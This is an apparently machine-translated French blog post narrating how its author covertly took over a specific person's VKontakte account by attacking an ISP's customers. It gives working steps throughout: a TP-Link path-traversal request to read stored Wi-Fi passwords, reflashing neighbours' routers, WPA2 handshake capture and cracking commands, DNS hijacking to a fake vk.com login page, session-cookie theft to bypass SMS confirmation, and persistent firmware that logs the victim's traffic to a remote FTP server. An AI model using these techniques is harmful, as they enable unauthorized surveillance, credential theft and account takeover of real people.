👨🏿‍⚕️ 👩🏿‍🤝‍👩🏾 🍨 Quelles vulnérabilités des routeurs TP-LINK peuvent conduire à 🚵 🧜🏽 🥘

En fait, cet article discutera non seulement des vulnérabilités des routeurs TP-LINK, mais également de la façon de créer à distance une station de piratage à partir de ces routeurs et de ce qui peut être réalisé avec cela. Et aussi un peu sur la façon dont il a été appliqué pour accéder à la page VKontakte. Ceci est une sorte d'histoire d'un gros hack, qui comprend tout ce qui précède.

Il m'a fallu une fois pour accéder à la page VK d'une personne, tout en étant le plus invisible possible pour l'utilisateur, et j'ai commencé à chercher des moyens. La première chose qui m'est venue à l'esprit a été de laisser tomber le cheval de Troie à la victime, car j'avais déjà préparé un TightVNC caché avec une connexion arrière pour mon lecteur VLC IP + caché, qui transmet également le son du microphone en temps réel à mon IP. Cependant, il n'était pas du tout défini comme un malware sur VirusTotal. Mais l'article ne traite pas du tout de cela. En conséquence, j'ai réussi à obtenir le cheval de Troie, ainsi qu'à accéder au VK (simplement en copiant les cookies du navigateur de la victime), mais bientôt le système d'exploitation a été réinstallé sur l'ordinateur de l'utilisateur, et j'ai dû chercher un autre moyen.

La seule chose que je savais, c'était le fournisseur de la victime. Eh bien, j'ai commencé par scanner toute la gamme de ce fournisseur notoire de la ville N (pour des raisons évidentes, je n'appellerai pas le fournisseur), et j'ai découvert une chose merveilleuse: le port 8080 est ouvert sur la plupart des hôtes. Il est immédiatement devenu clair qu'il s'agit d'une interface Web routeur. J'espérais déjà un administrateur admin par défaut (alors cela aurait été un effondrement complet pour le fournisseur), mais non, je n'ai pas pu trouver le mot de passe, bien que j'aie encore trouvé une douzaine de routeurs où se trouvait le mot de passe par défaut. Il s'est avéré que 90% de tous les routeurs sont TP-Link TL-WR741ND et moins souvent 740N, 841N, 941ND.

Tout est très clair ici: le fournisseur loue les mêmes routeurs aux utilisateurs, les configure lors de l'installation et il est tout simplement trop paresseux pour les utilisateurs de modifier ces paramètres. C'est devenu de plus en plus intéressant. Dans ce cas, il devrait sûrement y avoir un modèle dans le paramètre, c'est-à-dire que les mots de passe sont probablement les mêmes. J'ai décidé de rechercher sur Google s'il y avait des vulnérabilités dans ces modèles et, à ma grande surprise à ce moment-là, j'en ai trouvé beaucoup. La première chose qui a attiré mon attention a été l'article «Backdoor dans les routeurs TP-LINK» .

J'ai immédiatement décidé de vérifier cette vulnérabilité. Des fichiers ont été téléchargés sur le routeur, mais il ne les a pas acceptés, puis j'ai commencé à réfléchir à la raison d'être de ce nart.out. Il s'agit d'un binaire MIPS, qui peut être n'importe quelle application, il vous suffit de le créer. Pour commencer, j'ai commencé à chercher une version prête à l'emploi, car auparavant, je n'avais presque jamais eu à faire de compilation croisée. À ma grande surprise, juste à ce moment, une autre personne s'est intéressée à ce problème: Specx2 (je recommande d'ailleurs de lire son articlesur la façon d'assembler une station de piratage à partir d'un routeur, ce que, en fait, je n'ai finalement fait qu'à distance). Il a réussi à trouver netcat compilé sous MIPS dans l'un des forums chinois, soit dit en passant, exactement dans la section où cette vulnérabilité a été discutée. Ce binaire a été lancé avec succès sous QEMU, versé avec succès dans le routeur via la porte dérobée trouvée, mais, pour une raison quelconque, il n'était pas possible de se connecter au routeur: il n'avait tout simplement pas de connexion. Le camarade Specx2 a suggéré que le point peut être que le port 2222 peut simplement être fermé, et vous devez en quelque sorte faire fonctionner netcat sur un autre port.

Nous avons essayé de compiler netcat pour MIPS nous-mêmes, mais nous n'avons pas réussi à définir l'option de port par défaut. Ensuite, nous avons utilisé un démonteur, mais tout aussi sans succès. Et puis j'ai décidé d'ouvrir ce binaire avec le Notepad ++ habituel, et, à ma grande surprise, j'ai trouvé le convoité 2222. Ce nombre pourrait facilement être changé en n'importe quel autre, l'essentiel est que le nombre de caractères dans le fichier ne change pas. Le port a vraiment changé, tout a été testé sur QEMU, mais nous n'avons toujours pas pu le faire fonctionner sur le routeur.

Je n'ai pas abandonné mes tentatives pour prendre le contrôle du routeur et j'ai commencé à rechercher d'autres vulnérabilités. Bientôt, je suis tombé sur ce post . Et en effet: sur les modèles 841 et 941, il y avait un obus à

/userRpmNatDebugRpm26525557/linux_cmdline.html

Seulement ici, le mot de passe du routeur devait encore être connu, et les utilisateurs de ce fournisseur avaient essentiellement 741 modèles. J'ai réussi à trouver un routeur avec un mot de passe par défaut et ce shell, bien que très tronqué. Ainsi, j'ai eu accès au système de fichiers du routeur. Malheureusement, je n'ai rien trouvé de valable et le shell n'a pas fonctionné correctement. Les développeurs font-ils vraiment le débogage?

Cela semblait être une impasse, pendant longtemps je n'ai eu aucun indice, mais quelque chose m'a dit qu'il y avait encore des vulnérabilités. Et puis j'ai découvert que le routeur ne filtre pas les demandes GET. C'est-à-dire, par défaut, lorsque le mot de passe n'est pas entré correctement, la page / help s'ouvre, mais si, par exemple, nous faisons cette demande:

GET IP:port/help/../../

Ensuite, nous arriverons à la racine du système de fichiers du routeur. Ainsi, nous pouvons télécharger presque tous les fichiers du routeur FS sans même connaître le mot de passe. Cela s'est avéré être la première vulnérabilité fonctionnant avec succès de tout ce que j'ai trouvé. Mais qu'est-ce que cela nous donne si nous ne pouvons télécharger que des fichiers et ne savons pas où le mot de passe est stocké?

Après une courte recherche, j'ai quand même réussi à trouver un fichier intéressant dans /tmp/ath0.ap_bss, qui stocke le mot de passe pour le Wi-Fi sous une forme claire. J'ai immédiatement décidé de le vérifier sur l'un des routeurs des utilisateurs de ce fournisseur.

GET IP:8080/help/../../tmp/ath0.ap_bss

Il s'est avéré que les gens y travaillent assez paresseux et mettent les mêmes mots de passe sur l'interface Web du routeur et du Wi-Fi, donc lorsque nous apprenons le mot de passe Wi-Fi en utilisant cette vulnérabilité, nous reconnaîtrons automatiquement le mot de passe à partir de l'interface Web. Il s'agit généralement de 8 chiffres. Plus rarement, les chiffres avec des lettres. Encore une fois, 8. À partir de maintenant, je pouvais accéder au routeur de presque tous les utilisateurs qui n'avaient pas changé le mot de passe défini par le fournisseur, et pratiquement personne ne l'avait changé. Certes, certains routeurs disposaient toujours de la dernière version du micrologiciel, et cette vulnérabilité ne fonctionnait pas, mais il n'y en avait pas beaucoup. Immédiatement, j'ai découvert un autre point intéressant. Le SSID de tous les points contenait la seconde moitié de l'adresse IP interne de l'utilisateur, et la première était la même pour tous. Il s'est avéré la même chose que dans le compte personnel sur le site, le mot de passe était le même.Et cette seconde moitié de l'IP interne était le numéro de contrat. Autrement dit, par le numéro de l'accord utilisateur, il était possible de calculer l'IP interne.

Malgré le fait que tous les utilisateurs avaient une véritable IP externe (bien que dynamique), j'ai décidé de monter un serveur VPN sur plusieurs des routeurs ASUS, où il y avait un mot de passe par défaut. Heureusement, cette fonctionnalité a été intégrée au firmware par défaut. Ainsi, j'ai eu accès au réseau interne du fournisseur.

Mais avant de pirater le VK était encore loin. Je ne connaissais même pas la victime IP. Ni externe ni interne. Il existe de nombreuses façons de trouver l'adresse IP externe, et je l'ai fait. Eh bien, commençons à étudier. Tout d'abord, il a répondu aux requêtes ping, ce qui est déjà bien. Deuxièmement, je savais que la victime avait également un routeur (cela peut également être compris par TTL, car la grande majorité des utilisateurs ont Windows installé, et le TTL par défaut de Windows est 128), avec le même modèle. Mais, à mon grand regret, tous les ports de la victime ont été fermés et il n'y avait pas d'accès au webmord depuis l'extérieur. Mais je savais que dans tous les cas, c'est via LAN, mais pour cela, nous devons nous connecter à ce routeur via une interface sans fil, ainsi que récupérer le mot de passe pour le panneau d'administration, ce qui serait très problématique, car je ne pouvais pas le trouver à ce moment-là où il est stocké. Même si maintenant je sais déjàdans quoi est-il stocké/ dev / mtdblock3 , mais ce bloc n'est pas monté, il est donc impossible de le lire à travers la vulnérabilité décrite.

J'ai également appris que la connexion depuis la connexion VPN pour accéder à Internet correspond aux initiales et au nom de famille de l'utilisateur ou d'une partie de celui-ci, et que le mot de passe est le même. J'ai commencé à réfléchir, comment puis-je trouver l'utilisateur dont j'ai besoin? Peut-être que j'ai encore fait l'erreur de définir l'IP à ce moment-là, et qu'elle a déjà réussi à changer pendant que j'essayais de me connecter au webmord? La première chose qui m'est venue à l'esprit était une simple énumération de tous les routeurs. Mais le nombre d'abonnés chez le fournisseur est assez important. Après avoir scanné toute la gamme, j'ai trouvé environ 3 000 routeurs avec accès à distance à l'interface Web. Et il fallait en quelque sorte trouver parmi eux le bon, le cas échéant.

Tout d'abord, j'ai essayé d'écrire un script qui reconnaîtrait le mot de passe à l'aide de la vulnérabilité trouvée, puis je téléchargerais la page de configuration du réseau et l'enregistrerais. Mais je suis faible dans ce domaine, et, après avoir rejeté cette idée après un certain temps, j'ai décidé d'utiliser un clicker ordinaire. Avec un chagrin en deux, j'ai (ou plutôt, le clicker) traité toute la gamme. Ensuite, j'ai recherché les fichiers de paramètres (en espérant trouver la victime par son nom de famille dans la connexion à partir de la connexion vpn), mais je n'ai rien trouvé dont j'avais besoin.

J'ai commencé à creuser plus loin et j'ai découvert que tout routeur piraté peut scanner les points d'accès qui l'entourent via une interface Web. J'ai donc eu une idée folle: casser le voisin de la victime avec cette vulnérabilité, afin qu'avec son routeur je puisse essayer de casser le mot de passe Wi-Fi de la victime et entrer dans l'interface Web via le LAN, tant que je parcours quelques milliers de kilomètres sans confiance en le succès était déraisonnable et il n'y avait tout simplement aucune possibilité. Mais mettre en œuvre ce qui avait été conçu à l'époque semblait impensable. Comment trouver un voisin?

Rappelez-vous que la deuxième partie de l'IP interne est contenue dans le SSID. Il coïncide avec le numéro du contrat. Ce serait bien de connaître le SSID du point d'accès de l'utilisateur afin que vous puissiez le trouver. Ce que j'ai fait? Oui, je viens de le prendre et j'ai écrit au support technique du fournisseur, me présentant en tant qu'utilisateur, soi-disant je veux payer pour Internet, mais j'ai oublié le numéro de contrat. Et j'ai instantanément reçu une réponse, car je connaissais le nom et l'adresse. Ainsi, j'ai reconnu l'IP interne de la victime, qui est d'ailleurs statique (il est donc inutile de calculer constamment la dynamique externe, car il y a accès au réseau interne via VPN sur l'un des routeurs piratés). J'ai également obtenu le SSID estimé de cet utilisateur, donc j'avais déjà quelque chose à travailler.

La tâche était d'aller dans tous les routeurs d'affilée et l'un d'entre eux pour trouver un routeur avec le SSID convoité dans le district. Encore une fois, la tâche n'a pas été facile, mais n'oubliez pas que nous avons accès à votre compte personnel, où l'adresse de la résidence de l'utilisateur est indiquée. Après avoir mené plusieurs expériences, je me suis rendu compte qu'il existe un certain schéma entre l'adresse IP interne et l'adresse utilisateur. Autrement dit, il n'est pas nécessaire que les voisins soient sur le même sous-réseau, mais au moins dans les voisins, par exemple: 10.168.155.0 et 10.168.158.0. Alors, trouvant l'utilisateur vivant près de la victime par la méthode du piquant scientifique, j'ai commencé à trier tous les routeurs des sous-réseaux voisins. En conséquence, je n'ai pas trouvé le SSID convoité, mais j'ai trouvé 2 voisins après avoir vu leur adresse dans mon compte. Ma tête a explosé: comment est-ce possible, j'ai trouvé des voisins, mais je n'ai pas le bon point d'accès à proximité. Pourtant, elle était, juste avec un SSID changé,et j'ai deviné lequel. Cela s'est avéré facile.

Bien! Le routeur a été trouvé, comme ses voisins, après avoir passé beaucoup de temps à ce sujet. Et ensuite? Nous devons en quelque sorte obtenir le mot de passe du réseau sans fil, mais pour cela, nous devons soit intercepter la poignée de main et récupérer le mot de passe (la protection est WPA2-PSK), soit récupérer le code PIN WPS, car WPS est activé par défaut, mais sur la plupart des routeurs, il bloqué après 10 tentatives non valides. Comment pouvons-nous même mettre en œuvre au moins une partie de cela? En effet, sur les routeurs des voisins il n'y a pas de logiciel spécialisé. Et puis l'idée est venue de reflasher leurs routeurs OpenWRT, parce que ce firmware est le plus proche du vrai Linux, et il y a aussi aircrack-ng, reaver et beaucoup d'autres packages pour cela. Camarade Specx2même Bully s'est rassemblé en dessous. Il n'y avait qu'un seul problème: comment reflasher le routeur à distance et ne pas y perdre l'accès? Après tout, après avoir clignoté, tous les paramètres sont réinitialisés par défaut.

J'ai été tourmenté par ce problème pendant longtemps, j'ai pensé qu'il était nécessaire de collecter tous les microprogrammes à partir de zéro à partir de la source et de pré-piloter les paramètres là-bas, mais tout s'est avéré beaucoup plus simple. Je ne connaissais même pas l'existence d' OpenWRT Image Builder. Je l'ai compris assez rapidement, mais j'ai dû choisir le bon ensemble de packages, car le volume du firmware ne peut pas dépasser 4 Mo, et c'est petit, étant donné que beaucoup traînent sur une grande liste de dépendances. Le problème suivant était que l'utilisateur n'avait accès à Internet qu'après avoir établi une connexion VPN avec le serveur du fournisseur, mais ensuite tout le trafic était entré dans le tunnel et j'ai perdu le contact avec le routeur. Alors, que mon voisin me pardonne, je l'ai laissé sans Internet. Après avoir flashé avec succès son routeur (après avoir laissé quelques dizaines d'utilisateurs sans Internet au cours d'expériences infructueuses), j'ai immédiatement transféré la carte réseau du routeur en mode moniteur

ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0

Et lancé airodump-ng .

airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123

Intercepter une poignée de main n'a pas été difficile. J'ai immédiatement téléchargé le vidage du routeur à l'aide de SCP

scp –P port user@host:/tmp/123-01.cap ~/123.cap

Filtré à partir de paquets inutiles dans Wireshark:

wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol

Et converti au format .hccap pour Hashcat. J'ai préparé un petit dictionnaire à l'avance, ce qui m'a aidé à casser de nombreux réseaux sans fil, et j'ai également ajouté tous les mots de passe possibles pouvant être utilisés par cet utilisateur.

oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt

Heureusement, après quelques secondes, le mot de passe a été trouvé! Mais vous deviez tout de même vous connecter au routeur en mode client! Ce n'est qu'à ce moment-là que le WAN du routeur du voisin changera à nouveau, et j'y perdrai l'accès. Je ne pouvais toujours pas comprendre comment résoudre ce problème, j'ai donc dû demander à une personne de faire un sacrifice, de se connecter à partir du téléphone et d'ouvrir l'accès à distance (maintenant je peux supposer que vous deviez simplement ajouter des routes statiques au firmware à l'avance). Heureusement, le mot de passe de l'interface Web s'est avéré être l'administrateur par défaut.

Tout s'est bien passé! J'ai déjà préparé un nouveau plan d'action. Sur ma véritable IP sans filtrage, j'ai élevé le serveur DNS, où j'ai changé l'entrée pour vk.com et l'ai changé en mon IP, où le serveur HTTP avec PHP a également été élevé. Là, en conséquence, le faux a été rempli avec la page d'autorisation vk.com, et dans le routeur, le serveur DNS a été changé pour le mien. Un utilisateur, se connectant à vk.com, a pris mon faux, et donc le mot de passe était le mien, l'objectif a été atteint!

Pendant longtemps, j'ai utilisé cette méthode pour obtenir un mot de passe, mais une fois la confirmation de connexion vantée sur vk.com activée, ce qui, selon les créateurs eux-mêmes, est presque impossible à contourner. En fin de compte, lorsque vous autorisez à partir d'un nouvel appareil / navigateur, si vous entrez le mot de passe correct, vous devez également saisir le code SMS, qui est envoyé au numéro du propriétaire. Mais pour ce cas, j'ai longtemps préparé une théorie qui n'a pas encore été testée.

Tout d'abord, j'ai essayé de comprendre comment le serveur détermine que l'entrée provient d'un nouveau périphérique. Tout s'est avéré assez simple: un nouveau cookie est ajouté au navigateur (si ma mémoire est bonne, il s'appelle remixttpid), qui n'est transmis que via une connexion cryptée. Et par lui, le serveur détermine déjà le navigateur à partir duquel la connexion est autorisée. Si je ne me trompe pas, l'agent utilisateur doit également correspondre. Ainsi, il nous suffit d'intercepter ce cookie pour vous connecter avec succès avec un mot de passe connu, mais c'est assez difficile à faire: nous devons faire passer le trafic utilisateur via mitmproxy, afin qu'il se connecte également à ce moment. De plus, l'utilisateur remarquera un avertissement du navigateur concernant une incompatibilité de certificat. Pourquoi être si perverti, je pensaissi vous pouvez simplement intercepter une session existante? Après tout, une vérification du navigateur n'est effectuée qu'au moment de la connexion, mais n'est pas effectuée pour les demandes d'une session existante! Par conséquent, nous avons juste besoin d'intercepterremixsid , qui, en outre, est transmis via une connexion non sécurisée, car l'utilisateur n'utilise pas https.

Le problème était seulement que remixsidil correspond à l'IP de l'utilisateur, et s'il change, des cookies pour login.vk.com sont également utilisés, qui sont transmis uniquement via une connexion cryptée, et il est plus difficile de les intercepter. Mais j'ai eu de la chance. À ce moment-là, le fournisseur a commencé à fournir un accès à Internet sans avoir besoin d'établir une connexion VPN, ce qui signifie que je pouvais simplement augmenter mon serveur PPTP et établir une connexion avec lui dans les paramètres du routeur de l'utilisateur. Alors je l'ai fait, tout le trafic est passé par moi, et l'utilisateur, sans le savoir, a créé une session attachée à mon IP, qui a été interceptée sans aucun problème. Ensuite, je viens de retourner les paramètres précédents et d'utiliser la session interceptée (l'avantage de l'IP est statique). La protection SMS est rompue avec succès!

Tout irait bien, mais je ne me suis pas arrêté là. Le fait est que si l'utilisateur comprend soudainement le problème, il peut simplement changer le mot de passe à partir des paramètres du routeur et du Wi-Fi. Pour éviter cela, j'ai commencé à créer OpenWRT sous un routeur utilisateur. Il fallait tout prévoir. Pour une surveillance pratique du trafic des victimes, j'ai monté le serveur FTP en tant que système de fichiers à l'aide de curlftpfs. Les vidages y sont écrits. L'ensemble de ce processus est décrit dans cet article . Au départ, j'avais prévu de monter le cloud comme un système de fichiers, pour lequel j'ai utilisé davfs2 , qui n'était pas non plus facile à construire sous OpenWRT, mais le problème était que le fichier a d'abord été écrit dans le cache, puis seulement versé dans le cloud. Par conséquent, la taille du fichier était limitée par la taille du cache, qui est extrêmement petite. J'ai donc choisi curlftpfs. Le trafic a été enregistré à l'aide de tcpdump et a été divisé en fichiers de 512 Mo.

tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &

Où / root / ftp / dump est notre système de fichiers ftp. Toutes ces affaires peuvent être mises en démarrage automatique (/etc/rc.local).
En général, l'ensemble final de packages pour le firmware OpenWRT Attitude Adjustment 12.09 ressemblait à ceci:

make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/

Curlftpfs occupe la majeure partie de la mémoire, mais nous en donne une quantité illimitée par ftp. Tcpdump vous permet d'enregistrer le trafic de la victime 24 heures sur 24, et tinyproxy vous permet d'accéder à Internet à partir de l'IP de la victime, c'est-à-dire qu'en interceptant remixsid, par exemple, nous pouvons également saisir le VK de l'utilisateur à partir de son IP en utilisant tinyproxy, ou nous pouvons simplement rediriger son trafic vers son proxy de cette façon:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port

En général, nous pouvons complètement diriger le trafic. Vous pouvez également installer des packages sur un système de fichiers ftp monté, pour cela, nous utilisons opkg –dest , après avoir spécifié le nom et l'adresse de notre système de fichiers dans /etc/opkg.conf . Le reste de la configuration doit également être pré-enregistré dans les fichiers appropriés.

/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
 .

Tous ces fichiers doivent être préparés à l'avance afin de les intégrer dans le firmware. En fait, qu'est-ce que cela nous donne en plus des fonctionnalités supplémentaires? Mais le fait est que le système de fichiers squashfs est en lecture seule. Par conséquent, l'utilisateur ne pourra en aucun cas modifier les paramètres par défaut que j'ai définis. Avec toute sa volonté, même via telnet, il ne pourra pas se connecter, car dans rc.local , qui est cousu dans le firmware, il y a une ligne

echo –e “pass\npass” | passwd root

Autrement dit, l'accès via telnet est coupé immédiatement après le chargement du routeur, et seul moi a le mot de passe SSH. La réinitialisation par défaut avec un bouton physique échouera également ici, car la valeur par défaut est définie par moi et cousue dans le firmware. Le but est atteint.

En lien avec le transfert de tous les utilisateurs vers IPoE ces derniers temps et l'abandon du VPN, tous étaient derrière NAT, y compris les routeurs sur lesquels j'avais un VPN pour accéder au réseau interne du fournisseur. En plus de ceux qui ont activé le service «Static IP», bien sûr. Mais il y a un problème: ceux qui veulent une véritable IP doivent toujours utiliser un VPN pour accéder à Internet. J'ai dû me tourmenter et construire OpenWRT avec un client PPTP câblé et configuré (et cela fonctionne pour une raison vraiment tordue), ainsi qu'un serveur OpenVPN câblé et configuré. Beaucoup de routeurs sont morts pendant les expériences, mais le résultat a finalement été obtenu. Après avoir versé un tel firmware dans plusieurs routeurs (parmi les rares qui restent avec une véritable IP), j'ai un accès stable au réseau interne en utilisant OpenVPN.

Le problème avec la connexion VPN PPTP était que les serveurs du fournisseur ne prennent pas en charge le cryptage. Cela a été corrigé en ajoutant une ligne à /etc/ppp/options.pptp .

nomppe

Sinon, le processus de configuration du client VPN PPTP et du serveur OpenVPN n'était pas différent des manuels OpenWRT.

J'espère que cet article sera intéressant pour quelqu'un et que quelqu'un en apprendra quelque chose de nouveau.

UPD: Comme ValdikSS l'a écrit dans les commentaires , au lieu de curlftpfs + tinyproxy, vous pouvez utiliser OpenSSH, qui est plus fonctionnel.

Quelles vulnérabilités des routeurs TP-LINK peuvent conduire à

More articles: